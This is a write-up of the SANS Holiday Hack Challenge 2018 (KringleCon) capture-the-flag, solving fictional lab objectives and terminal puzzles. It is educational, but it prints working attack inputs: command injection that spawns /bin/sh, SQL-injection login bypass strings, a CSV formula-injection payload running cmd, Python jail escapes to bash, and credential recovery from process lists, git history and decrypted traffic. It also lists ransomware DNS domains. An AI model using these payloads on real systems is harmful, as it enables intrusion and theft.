SANS KringleCon 2018 — write-up
Each end-of-year, SANS and CounterHack teams organize a Holiday Hack Challenge. This year, along with security challenges, we can attend KringleCon, ‘the first-ever cybersecurity conference hosted by Santa and his elves’.
Challenges and talks are available through Santa’s Castle, a 3D world where we can interact with other players and with NPCs to complete the challenges. The talks are available on the 1st floor of the castle. Alternatively, they can be found on Youtube’s KringleCon channel.
Regarding the challenges, there is a total of 10 objectives to complete along with 9 optional terminal challenges that, if resolved, give us hints on how to complete the main objectives.
The more objectives are completed, the more narratives are unlocked. This is my solution to complete all objectives and optional challenges. Let’s start…
Note: if no other indication, all commands and scripts you will find below are run on macOS. Especially
sed
syntax may slighly differ from Linux versions.
Table of Contents
* Objective 1 - Orientation Challenge
Essential Editor Skills / Objective 1 — Solution* Objective 2 - Directory Browsing
The Name Game / Objective 2 - Solution* Objective 3- Directory Browsing
Lethal ForensicELFication / Objective 3 - Solution* Objective 4 - Directory Browsing
Stall Mucking Report / Objective 4 - Solution* Objective 5 - Directory Browsing
CURLing Master / Objective 5 - Solution* Objective 6 - Directory Browsing
Yule Log Analysis / Objective 6 - Solution* Objective 7 - Directory Browsing
Dev Ops Fail / Objective 7 - Solution* Objective 8 - Directory Browsing
Python Escape from LA / Objective 8 - Solution* Objective 9 - Directory Browsing
Sleigh Bell Lottery / Objective 9 - Solution (Part 1, 2, 3, 4)* Objective 10 - Directory Browsing
Objective 10 - Solution* Epilogue* The Google Ventilation
* Easter Eggs
[Terminal Challenge] Essential Editor Skills
We have to talk to Bushy Evergreen in the castle’s entrance hall and click the Cranberry Pi to launch a terminal based challenge:
This challenge is as easy as…quitting a vi
editor with :q
.
We can then talk again to the elf to get the hint:
Wow, it seems so easy now that you’ve shown me how! To thank you, I’d like to share some other tips with you.Have you taken a look at the Orientation Challenge?This challenge is limited to past SANS Holiday Hack Challenges from 2015, 2016, and 2017. You DO NOT need to play those challenges.
If you listen closely to Ed Skoudis’ talk at the con, you might even pick up all the answers you need…
It may take a little poking around, but with your skills, I’m sure it’ll be a wintergreen breeze!
And we get a link to the past challenges solutions.
[Objective 1 — Solution]
Click the Kringle History Kiosk in the entrance hall to start. There are 6 questions to answer on the previous Holiday Hack Challenge editions to get the flag. We can use the write-ups of 2015, 2016 and 2017 to easily answer them. Alternatively, we can answer the questions by watching the START HERE video.
Question 1
In 2015, the Dosis siblings asked for help understanding what piece of their “Gnome in Your Home” toy?
Answer: FirmwareQuestion 2
In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?
Answer: ATNASQuestion 3
In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?
Answer: Business CardQuestion 4
In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?
Answer: Cranberry PIQuestion 5
In 2017, the North Pole was being bombarded by giant objects. What were they?
Answer: SnowballsQuestion 6
In 2017, Sam the snowman needed help reassembling pages torn from what?
Answer: The Great Book
Flag: Happy trails
[Terminal Challenge] The Name Game
Visit Minty Candycane in the castle entrance hall and click the Cranberry Pi to launch a terminal based challenge:
The goal is to find the first name of the user having the last name Chan
. As explained by the elf, this is a Powershell terminal and we need to find a way to inject commands.
By choosing 1
, we can register a new employee and by choosing 2
, we access a ping
service, which seems more suitable to inject commands. We can try to ping localhost
:
Validating data store for employee onboard information.
Enter address of server: 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.055 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.046 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.043 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2035ms
rtt min/avg/max/mdev = 0.029/0.046/0.075/0.021 ms
onboard.db: SQLite 3.x database
The output looks like a /bin/ping -c 3 127.0.0.1
followed by a file onboard.db
that shows that a SQLite3 database is used to store the user’s information.
If we change the IP address to127.0.0.1;ls
, the script will execute/bin/ping -c 3 127.0.0.1;ls
which will execute the ping
followed by ls
. To get a shell we can replace ls
by /bin/sh
.
We can then list the following files:
menu.ps1 onboard.db runtoanswer
Users information must be in the onboard.db
database file and we can query it as follows:
sqlite3 onboard.dbsqlite> .tables
onboardsqlite> PRAGMA table_info(onboard);
0|id|INTEGER|0||1
1|fname|TEXT|1||0
2|lname|TEXT|1||0
3|street1|TEXT|0||0
4|street2|TEXT|0||0
5|city|TEXT|0||0
6|postalcode|TEXT|0||0
7|phone|TEXT|0||0
8|email|TEXT|0||0sqlite> SELECT * FROM onboard WHERE lname LIKE 'Chan';
84|Scott|Chan|48 Colorado Way||Los Angeles|90067|4017533509|scottmchan90067@gmail.com
We can now submit the first name Scott
to theruntoanswer
program:
;runtoanswer
Loading, please wait......
Enter Mr. Chan's first name: Scott
Congratulations!
Note 1: By reading the source code of
menu.ps1
, we see that there is a backdoor. We can access a Powershell shell with the hidden menu9
:
Note 2: a dump of the database can be found here.
We talk again to the elf to get the hint:
On a website, finding browsable directories is sometimes as simple as removing characters from the end of a URL.
And a link to directory listing misconfigurations.
[Objective 2 — Solution]
The goal is to find ‘who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness’ by analyzing the CFP website.
By browsing the website we see a folder cfp
. When we browse it, we see its content as the directory listing is enabled:
Search for ‘Data Loss for Rainbow Teams’ in the CSV file to get the full name we are looking for.
Flag: John McClane
[Terminal Challenge] Lethal ForensicELFication
Tangle Coalbox can be found on the 1st floor, left corridor.
The goal is to find for whom the elf’s love poem was written.
The poem is in a hidden folder .secret/her/poem.txt
. We can read that it has been written for a certain NEVERMORE
. However, this solution does not validate.
We can see a .viminfo
as well in the home folder. This file is a vim
cache file and contains command history and search history among other information.
By reading .viminfo
we get the command line history:
The following vim
command looks for the string Elinore
and replaces it by NEVERMORE
in all the lines:
:%s/Elinore/NEVERMORE/g
We submit the name Elinore
to theruntoanswer
program and talk again to the elf to get the hint:
Have you been able to solve the lock with the funny shapes?It reminds me of something called “de Bruijn Sequences.” You can optimize the guesses because there is no start and stop — each new value is added to the end and the first is removed. I’ve even seen de Bruijn sequence generators online.
Here the length of the alphabet is 4 (only 4 buttons) and the length of the PIN is 4 as well. Mathematically this is
k=4, n=4
to generate the de Bruijn sequence.
We get as well link1 and link2 which talk about the de Bruijn sequence.
[Objective 3 — Solution]
We have the Doorpasscode website that we need to use to find the door’s passcode.
Each shape has a value: triangle=0, square=1, circle=2, star=3
and we need to find the right sequence to unlock the door. As mentioned in the objective title and in the hints, this is a de Bruijn sequence. It is a cyclic sequence of size k^n
where k
is the alphabet length and n
is the sequence size. In our case k = n = 4
, therefore, the complete sequence is 256 characters long. As the number of possibilities is pretty small, we could try manually all the possible combinations…but were is the fun?!
From the page source code we get the AJAX call done:
And the JSON response to such call is:
{“success”:false,”message”:”Incorrect guess.”}
We can generate the full de Bruijn sequence B(4,4)
and cycle through it until we get a response where success=true
.
The Python script used can be found here. The output is The sequence is: 0120
. Which means triangle, square, circle, triangle
:
Back in the Santa’s Castle to open the door. Inside the new room, we find the elf Morcel Nougat who gives us the flag.
Flag: Welcome unprepared speaker!
Note: There is a way to get the flag without finding the correct code. The victory banner is in fact hidden initially and will be unhidden when we get the code. The link to victory the banner is in the source code.
Upon completion we unlock the next two narratives:
[Terminal Challenge] Stall Mucking Report
Wunorse Openslae is on the ground floor, right corridor.
The objective is to upload the file report.txt
on a remote server using an authenticated SMB connection.
The following command asks for elf
user’s password that we don’t have:
$ smbclient //localhost/report-upload/ -c ‘put report.txt’
This suggested article shows that passwords in command lines can be visible by listing processes with ps
:
$ ps -aux > ps.txt
$ cat ps.txt
[...]
manager 18 0.0 0.0 9500 2504 pts/0 S 23:17 0:00 /bin/bash /home/manager/samba-wrapper.sh — verbosity=none — no-check-certificate — extraneous-command-argument — do-not-run-as-tyler — accept-sage-advice -a 42 -d~ — ignore-sw-holiday-special — suppress — suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
[...]
Indeed, we can read that the samba-wrapper.sh
script uses the username and password as arguments: report-upload:directreindeerflatterystable
. We can now upload our file and complete this challenge:
$ smbclient //localhost/report-upload/ -c ‘put report.txt’ -U report-upload
directreindeerflatterystable
The elf gives us a link to truffleHog git repository.
[Objective 4 — Solution]
We need to find an encrypted ZIP file in a given GitLab project. We can use the built-in search feature to find and download the ZIP file:
My many attempts at password’s dictionary and brute-force attacks with fcrackzip
were not successful. Let’s try to use the tool proposed in the hint:
We run:
$ ./truffleHog.py https://git.kringlecastle.com/Upatree/santas_castle_automation
And the first two findings are:
They correspond respectively to this commit and this one. The latter reveals our ZIP’s password and flag. The content reveals the maps of the Google Ventilation maze (1F, 2F).
Flag: Yippee-ki-yay
Note: from the second output, we can see that what is flagged is not the password, but the
Change ID
(in yellow) due to the high entropy check. If it was not present, we would have missed the password. A better way to use this tool in our case is to remove the entropy check and use a regex JSON file instead. We can get a base regex list from this repository and add a very basic check:"Password in text":".*[pP]assword.*"
. Then run as follows:
$ ./truffleHog.py --rules regexes.json --regex --entropy=False https://git.kringlecastle.com/Upatree/santas_castle_automation
Upon completion we unlock the next two narratives:
[Terminal Challenge] CURLing Master
Visit Holly Evergreen on the ground floor, right corridor.
The goal is to curl
the local web server. The elf gives us a link to some HTTP/2 documentation.
Looking at /etc/nginx/nginx.conf
we see that the server listens on port 8080 for unencrypted HTTP/2 connections:
cURL
is built with HTTP/2 support only. However, using the option --http2
will not work. Indeed, when requesting an ‘HTTP’ url with HTTP2 protocol, the client uses the HTTP Upgrade mechanism which implies to send first an HTTP/1.1 request with specific headers to negotiate the upgrade to HTTP/2. As the server does not understand it, it responds with garbage. Therefore we have to use the option --http2-prior-knowledge
which does a HTTP/2 request straight:
$ curl --http2-prior-knowledge http://localhost:8080/index.php
<html>
<head>
<title>Candy Striper Turner-On'er</title>
</head>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on"
</body>
</html>$ curl --http2-prior-knowledge -XPOST http://localhost:8080/index.php -d "status=on"
Back to the elf, he gives us the hint:
Have you ever used Bloodhound for testing Active Directory implementations?
It’s a merry little tool that can sniff AD and find paths to reaching privileged status on specific machines. AD implementations can get so complicated that administrators may not even know what paths they’ve set up that attackers might exploit.
With a demo video.
[Objective 5 — Solution]
We are given a Virtualbox OVA (to be imported as a 64bits Ubuntu) with BloodHound installed and ready to analyze a Windows AD domain data set.
“BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment.”
Note: For this challenge, BloodHound is already configured with a data set coming from an Active Directory domain:
AD.KRINGLECASTLE.COM
. However, the data ingested by BloodHound can be retrieved from most AD instances without elevated privileges using SharpHound. BloodHound was first presented at BSide Las Vegas 2016.
From the top-left menu, we can execute custom queries as well as Pre-Built Analytics Queries. In fact, our landing page is the result of the pre-built query Find All Domain Admins
.
A Kerberoastable User is a user account that is used as SPN of a service. Such user can be sensitive to Kerberoast attacks which involve offline cracking of Kerberos Service Tickets. What if such user is as well part of the Domain Admins group? Some detailed blog posts on how to run Kerberoast attacks can be found here as well as in this 3 parts blog post: 1, 2, 3.
Let’s use the pre-built query Shortest Paths to Domain Admins from Kerberoastable Users
to get a new view:
'Shortest Paths to Domain Admins from Kerberoastable Users' query
In red we see the only path that does not involve RDP. We can read it as follows:
The circled user is a member of the group IT_00332
that is local admin of COMP00185
. Another user who is member of Domain Admins
and Kerberoastable has an open session on the same computer. This means that the circled user could escalate its privileges from local admin to domain admin through COMP00185
by stealing tokens and impersonate the domain admin, by getting its clear-text password with mimikatz
or by cracking its password using a Kerberoast attack.
The circled user’s logon name is the flag.
Flag: LDUBEJ00320@AD.KRINGLECASTLE.COM
Note: we can find many other possible paths to
Domain Admins
. For instance, if we want all the possible paths from userLDUBEJ00320
, we get 11 paths in total:
LDUBEJ00320 to Domain Admins
Upon completion we unlock the next two narratives:
[Terminal Challenge] Yule Log Analysis
Pepper Minstix can be found on the 1st floor, far left corridor :
Password spraying has been used to compromise a webmail user. We are given a Windows event log file as well as a Python script to export .evtx
files to XML which will be easier to grep
. We need to find the user that has been compromised.
Let’s focus on 4625 (an account failed to log on) and 4624 (an account has successfully logged on) Windows events:
$ python evtx_dump.py ho-ho-no.evtx > evtx_dump.xml
$ grep -A 34 '4625' evtx_dump.xml// 'grep -A 34' shows 34 lines after the found line which is used to see all the log until the source IP address.
The second log shows the start of the attack. There is first what seems to be a test login with user test.user
at 12:54. The attack originates from 172.31.254.101
and targets what seems to be a Microsoft Exchange web access as the ProcessName
and Computer
fields show.
<EventID Qualifiers="">4625</EventID>
[...]
<TimeCreated SystemTime="2018-09-10 12:54:56.034510"></TimeCreated>
[...]
<Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer>
[...]
<Data Name="TargetUserName">test.user</Data>
<Data Name="TargetDomainName">EM.KRINGLECON</Data>
[...]
<Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data>
<Data Name="IpAddress">172.31.254.101</Data>
<Data Name="IpPort">40634</Data>
This is followed by an automated Password spraying attack from the same source IP from 13:03:33 until 13:05:39.
<TimeCreated SystemTime="2018-09-10 13:03:33.271959"></TimeCreated>
<Data Name="TargetUserName">aaron.smith</Data>
[...]
<TimeCreated SystemTime="2018-09-10 13:03:34.075348"></TimeCreated>
<Data Name="TargetUserName">abhishek.kumar</Data>
[...]
<TimeCreated SystemTime="2018-09-10 13:03:34.660316"></TimeCreated>
<Data Name="TargetUserName">adam.smith</Data>
[...]
<TimeCreated SystemTime="2018-09-10 13:03:35.204905"></TimeCreated>
<Data Name="TargetUserName">ahmed.ali</Data>
[...]
[...]
<TimeCreated SystemTime="2018-09-10 13:05:39.123190"></TimeCreated>
<Data Name="TargetUserName">wunorse.openslae</Data>
There is a total of 211 failed logins and only 2 successes:
// failed: id 4625
grep -A 34 '4625' evtx_dump.xml | grep '172\.31\.254\.101' | wc -l
211// success: id 4624
grep -A 34 '4624' evtx_dump.xml | grep '172\.31\.254\.101' | wc -l
2
Both successes are with the same user, one during the automated scan, the other one after it:
grep -A 34 '4624' evtx_dump.xml | grep -B 34 '172\.31\.254\.101'
<TimeCreated SystemTime="2018-09-10 13:05:03.702278"></TimeCreated>
<Data Name="TargetUserName">minty.candycane</Data>
[...]
<TimeCreated SystemTime="2018-09-10 13:07:02.556292"></TimeCreated><Data Name="TargetUserName">minty.candycane</Data>
We submit minty.candycane
to theruntoanswer
program and talk again to the elf to get the hint:
All of the Kringle Castle employees have these cool cards with QR codes on them that give us access to restricted areas. Unfortunately, the badge-scan-o-matic said my account was disabled when I tried scanning my badge.
I really needed access so I tried scanning several QR codes I made from my phone but the scanner kept saying “User Not Found”. I researched a SQL database error from scanning a QR code with special characters in it and found it may contain an injection vulnerability. I was going to try some variations I found on OWASP but decided to stop so I don’t tick-off Alabaster.
And we get as well the following links 1 and 2.
[Objective 6 — Solution]
We have a door authentication panel website as well as a sample employee badge.
The QR-Code on the badge gives the following string: oRfjg5uGHmbduj2m
. We can suppose this is the password of Alabaster Snowball. It could look like base64 but it isn’t.
We can upload image files by clicking on the USB slot of the website. Only PNG files are allowed and we need to input QR-Codes. We can use qrcode
to quickly generate PNG files:
qr "your_text" > image.png
If we create a QR-Code with the text oRfjg5uGHmbduj2m
and upload it, we get the following answer:
AUTHORIZED USER ACCOUNT HAS BEEN DISABLED!
The second hint given is about SQLi, so let’s try to bypass the authentication by creating a QR-Code with the text oRfjg5uGHmbduj2m'
. We get the below JSON error response with the SQL query executed:
{“data”:”EXCEPTION AT (LINE 96 \”user_info = query(\”SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = ‘{}’ LIMIT 1\”.format(uid))\”): (1064, u\”You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’oRfjg5uGHmbduj2m’’ LIMIT 1' at line 1\”)”,”request”:false}
We can easily bypass the authentication with a simple ' or enabled#
or with' union select 1,1,1#
. When uploading this bypass badge, we get the following message:
USER ACCESS GRANTED - CONTROL NUMBER 19880715
Flag: 19880715
Upon completion we unlock the next narrative:
[Terminal Challenge] Dev Ops Fail
Sparkle Redberry can be found on the first floor, right side.
The goal is to retrieve Sparkle Redberry’s password in a GIT repository.
Let’s look for a commit that involves a password change in the kcconfmgmt
folder:
$ ls kcconfmgmt
$ grep -inr 'password' .git/*
.git/logs/refs/heads/master:9:b2376f4a93ca1889ba7d947c2d14be9a5d138802 60a2ffea7520ee980a5fc60177ff4d0633f2516b Sparkle Redberry <sredberry@kringlecon.com> 1541729463 -0500 commit: Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use
[...]
Looks promising. A git show
with the commit hash shows what was the change:
We can see the user credentials that were replaced in this commit. We submit twinkletwinkletwinkle
to theruntoanswer
program and talk again to the elf to get the hint:
I wonder if Tangle Coalbox has taken a good look at his own employee import system.
It takes CSV files as imports. That certainly can expedite a process, but there’s danger to be had. I’ll bet, with the right malicious input, some naughty actor could exploit a vulnerability there.
I’m sure the danger can be mitigated. OWASP has guidance on what not to allow with such oploads.
And the following link.
[Objective 7 — Solution]
We have a website where we can apply for a job @KringleCastle and submit our resume in CSV format. The goal is to fetch the file located at C:\candidate_evaluation.docx
and retrieve the name of a terrorist organization supported by one of the applicants.
If we upload a normal CSV we get the following confirmation message:
Thank you for taking the time to upload your information to our elf resources shared workshop station! Our elf resources will review your CSV work history within the next few minutes to see if you qualify to join our elite team of InfoSec Elves. If you are accepted, you will be added to our secret list of potential new elf hires located in C:\candidate_evaluation.docx
As described in this document, we can inject commands by uploading a CSV file containing the following value: =cmd|' /C calc'!A1
. Now we need to find a way to retrieve the file with a Windows command.
When we browse a page that does not exist, the custom 404 error shows the following:
We can, therefore, copy the file in c:\careerportal\resources\public
and get it by browsing https://carreers.kringlecastle.com/public/filename
. Our CSV payload becomes:
=cmd|’/C copy C:\candidate_evaluation.docx C:\careerportal\resources\public\export.docx’!A0,,
After a few seconds, we can browse https://carreers.kringlecastle.com/public/export.docx
to retrieve the file and read the following:
Flag: Fancy Beaver
Upon completion we unlock the next three narratives:
[Terminal Challenge] Python Escape from LA
SugarPlum Mary can be found on the first floor, right side.
The goal is to escape a Python jail:
Fortunately, quitting the python interpreter with exit()
or CRTL+D
does not resolve the challenge :)
Let’s do some information gathering first to see what we are allowed to do and what we aren’t:
// Python version is 3.5
>>> help()
Welcome to Python 3.5's help utility!// blocked commands
>>> import os
Use of the command import is prohibited for this question.
>>> __builtins__
Use of the command __builtins__ is prohibited for this question.
>>> __class__
Use of the command __class__ is prohibited for this question.
>>> exec
Use of the command exec is prohibited for this question.// allowed commands
<built-in function print>
>>> dir
<built-in function dir>
>>> eval
<built-in function eval>
>>> type
<class 'type'>
Let’s look at the list of names in the current local scope with dir()
:
>>> dir()
['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'banner', 'code', 'readfilter', 'readline', 'restricted_terms', 'whitelist']
banner
is a string and contains the terminal banner we see in the above screenshot,code
is a python module that provides facilities to implement read-eval-print loops in Python,readfilter
andreadline
are functions,restricted_terms
andwhitelist
are lists. The latter is empty, but the former contains the blocked keywords:
>>> restricted_terms
['import', 'pty', 'open', 'exec', 'compile', 'os.system', 'subprocess.', 'reload', '__builtins__', '__class__', '__mro__']
Checking the names in code
module we see another module: sys
. sys
has an interesting dictionnary modules
that can be manipulated to force the reloading of modules. That’s all we need to run system commands and escape!
>>> dir(code)
['CommandCompiler', 'InteractiveConsole', 'InteractiveInterpreter', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'argparse', 'compile_command', 'interact', 'sys', 'traceback']>>> code.sys.modules['os'].system('ls')
i_escaped
0
>>> code.sys.modules['os'].system('/bin/bash')
We have escaped and we can run i_escape
to validate the challenge. Let’s retrieve as well the Python script. We can retrieve the path like this:
>>> __file__
'/bin/shell'
The source code can be found here. We can find in a comment another solution to escape the jail:
eval(“__im”+”port__(‘p’+’ty’).s”+”pawn(‘/bin/bash’)”)
Talk again with the elf to get the hint:
As a token of my gratitude, I would like to share a rumor I had heard about Santa’s new web-based packet analyzer — Packalyzer.
Another elf told me that Packalyzer was rushed and deployed with development code sitting in the web root. Apparently, he found this out by looking at HTML comments left behind and was able to grab the server-side source code.
There was suspicious-looking development code using environment variables to store SSL keys and open up directories. This elf then told me that manipulating values in the URL gave back weird and descriptive errors. I’m hoping these errors can’t be used to compromise SSL on the website and steal logins.
On a tooootally unrelated note, have you seen the HTTP2 talk at at KringleCon by the Chrises? I never knew HTTP2 was so different!
[Objective 8 — Solution]
The goal is to access and decrypt HTTP/2 network activity sniffed using Packalyzer website features.
Once registered, we have access to a network packet sniffer where we can:
- sniff 20 seconds of server traffic and analyze the result online:
- download the captures to be analyzed offline:
- upload PCAP files and analyze the content online,
- see our account information:
Note: when using a proxy like Burp or OWASP ZAP we get the following error message:
Unknown ALPN Protocol, expected `h2` to be available.
If this is a HTTP request: The server was not configured with the `allowHTTP1` option or a listener for the `unknownProtocol` event.
which indicates the webserver uses HTTP/2. We will have to find a workaround, if needed, as none of the usual web proxies support HTTP/2 at the time of writing. A solution could be to use
nghttpx
as an intermediary proxy to translate HTTP/2 to HTTP/1.1 to be then captured by Burp/ZAP. Some documentation can be found here.
When analyzing a PCAP offline, we mainly see encrypted TLS traffic and we need to find a way to decrypt it:
Let’s analyze the website for possible weaknesses. From the page source-code we discover the following folders:
/pub, /pub/css, /pub/img, /pub/js, /pub/fonts
/uploads
and an interesting comment:
//File upload Function. All extensions and sizes are validated server-side in app.js
We find the server source code app.js
in /pub
. From it we discover the following information:
# REST API CALLS # FOLDERS AND FILES
/api/login /pub/index.html
/api/logout /pub/home.html
/api/users /pub/register.html
/api/register /keys/server.key (not present on PROD)
/api/upload /keys/server.crt (not present on PROD)
/api/list
/api/delete
/api/sniff
/api/process
app.js
shows as well that a debug mode is active dev_mode = true
:
As we can see in the above code snippets, in debug/dev mode:
- environment variables are valid endpoints (routes) and will respond to client requests (line 88 & 164),
- browsing an environment variable returns an error message because it tries to read it as an existing file (line 178). The error spits the value of the environment variable concatenated to the value of
__dirname
which is/opt/http2
. For instance, browsing/path/
spits:
Error: ENOENT: no such file or directory, open '/opt/http2/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin/'
- on line 23, we see two interesting environment variables used and we can get their values as the
PATH
variable seen before:
process.env.DEV = /dev/
process.env.SSLKEYLOGFILE = packalyzer_clientrandom_ssl.log
The SSLKEYLOGFILE
environment variable, if set, tells browsers like Firefox or Chrome to log the symmetric session keys used to encrypt TLS traffic in a file. Such log file can then be used in Wireshark to decrypt traffic.
As key_log_path = __dirname+process.env.DEV+process.env.SSLKEYLOGFILE
, we can retrieve the log file at https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log
Let’s capture again some traffic and get the related log file again. In Wireshark, we can provide the log file in the SSL settings:
Out traffic gets decrypted and we can analyze it:
From the logs we see 3 different client IPs:
We can retrieve the login information of those 3 users by looking at the JSON payload of the/api/login
calls:
We can log in with the following accounts, to see that alabaster
is an admin:
10.126.0.106 bushy:Floppity_Floopy-flab19283
10.126.0.104 alabaster:Packer-p@re-turntable192
10.126.0.105 pepper:Shiz-Bamer_wabl182
The admin has a stored capture super_secret_packet_capture.pcap
which contains SMTP traffic. Following the unique TCP stream we get the email sent by Holly to Alabaster that contains a Base64 encoded attachment:
Once decoded we get a PDF file describing the keyboard tones and the song we are looking for:
$ cat attachment.b64 | base64 -D > attachment_decoded
$ file attachment_decoded
attachment_decoded: PDF document, version 1.5
Flag: Mary Had a Little Lamb
Note: there is an additional
admin
account and its password ispassword
but it does not have the admin flag and does not contain any captures.
[Terminal Challenge] Sleigh Bell Lottery
Shinny Upatree can be found at the top of the stairs.
The goal is to run sleighbell-lotto
and try to win the game. We have gdb
, nm
, readelf
and objdump
available.
Let’s run the binary first:
$ ./sleighbell-lotto
The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...
You drew ticket number 5227!
Sorry - better luck next year!
The winning ticket is always 1225
. Let’s analyze the binary symbols first with readelf
and filter to only show functions:
$ readelf -s sleighbell-lotto | grep FUNC
[...]
59: 0000000000000fd7 1248 FUNC GLOBAL DEFAULT 14 winnerwinner
81: 00000000000014b7 19 FUNC GLOBAL DEFAULT 14 sorry
88: 00000000000014ca 225 FUNC GLOBAL DEFAULT 14 main
[...]
So, we have our main
function and two other interesting ones that are probably called when we win or when we lose. Let’s disassemble the main function to verify that:
$ gdb -q sleighbell-lotto
(gdb) set disassembly-flavor intel // show intel disass style
(gdb) disass main // disassemble main function
The code is pretty straightforward: a random number is generated and compared to 1225 (0x4c9)
. If they are equal, winnerwinner
is called, if not, sorry
is.
We can change the execution flow to call any function with thejump
command. We can, therefore, directly execute the function winnerwinner
and complete the challenge.
(gdb) break main
(gdb) run
(gdb) jump winnerwinner
Alternatively, we can patch the jump after the compare from jne (opcode 0x75)
to je (opcode 0x74)
, so that it jumps to fail only if the numbers are equal:
(gdb) break main
(gdb) run
(gdb) x/i 0x0000555555555589
0x555555555589 <main+191>: jne 0x555555555597 <main+205
(gdb) set *(unsigned char*)0x0000555555555589 = 0x74
(gdb) x/i 0x0000555555555589
0x555555555589 <main+191>: je 0x555555555597 <main+205>
(gdb) cont
The elf gives us the following hint:
Have you heard that Kringle Castle was hit by a new ransomware called Wannacookie?
Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by and their files were encrypted. Many elves were affected, so Alabaster went to go see if he could help out. I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analyzing Wannacookie on his computer.
An elf I follow online said he analyzed Wannacookie and that it communicates over DNS. He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way.
Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for Wannacookie! Of course, this all depends how the key was encrypted and managed in memory. Proper public key encryption requires a private key to decrypt. Perhaps there is a flaw in the wannacookie author’s DNS server that we can manipulate to retrieve what we need.
If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files.
[Objective 9 — Solution]
We need to access Santa’s secret room at the back of the first floor and help Alabaster to block the ransomware that hit his computer, analyze it and decrypt his data. This objective is divided into 4 parts.
Part 1 — Catch the Malware
For this first part, we need to help Alabaster, in Santa’s secret room, to create a SNORT rule that will alert on new attacks.
The goal is to analyze network traffic, find the ransomware traffic and build a SNORT rule to alert it. We are given a PCAP file of the last 30s of SNORT traffic and the following note:
Let’s start by analyzing the provided PCAP files 1, 2, 3, stored on the website with Wireshark.
We can see only DNS TXT queries and responses, some valid, other more suspect. What we consider valid here, are DNS TXT queries on human-readable sub-domains that return a human-readable TXT record, even if the records show nonsense values.
We have 2 hosts that look suspicious and both have the same behavior:
- the client sends a first DNS TXT query to:
77616E6E61636F6F6B69652E6D696E2E707331.nurhregsba.com
2. the server responds with the payload "64"
.
3. the client sends 64 DNS TXT queries to :
x.77616E6E61636F6F6B69652E6D696E2E707331.nurhregsba.com
where x increments from 0 to 63
4. the server responds with the 64 parts of the ransomware payload.
By cross-checking the other PCAPs we confirm the same behavior and we get some additional domains used by the ransomware :
hnrrusgbea.ru
nurhregsba.com
grenarushb.org
sguenhrarb.com
ngesurbarh.com
aegruhsnrb.com
Notes:
1.
77616E6E61636F6F6B69652E6D696E2E707331
is ASCII code forwannacookie.min.ps1
. This may indicate we are facing a Powershell ransomware.2. The domain names always contains the same letters, scrambled, and could be an anagram.
The LAN subnet is 10.126.0.0/24
, so our SNORT rule is (this doc can help as well as snorpy):
alert udp 10.126.0.0/24 any <> any 53 (msg:"PS Ransomware"; pcre: "/77616E6E61636F6F6B69652E6D696E2E707331/"; sid:9999999;)
Once added to /etc/snort/rules/local.rules
we get the flag.
Flag: Snort is alerting on all ransomware and only the ransonmware!
Part 2 — Identify the Domain
We get the.docm
file that was sent by email to all the elves and that is suspected to contain the malware dropper (open it in a VM :). Let’s analyze it to get the domain name used by the malware. We can useoledump
to extract the VB code:
// list available streams
$ python oledump/oledump.py CHOCOLATE_CHIP_COOKIE_RECIPE.docm
A: word/vbaProject.bin
A1: 468 ‘PROJECT’
A2: 95 ‘PROJECTwm’
A3: M 2251 ‘VBA/Module1’
A4: M 2400 ‘VBA/NewMacros’
A5: m 924 ‘VBA/ThisDocument’
A6: 2641 ‘VBA/_VBA_PROJECT’
A7: 620 ‘VBA/dir’// view stream A3
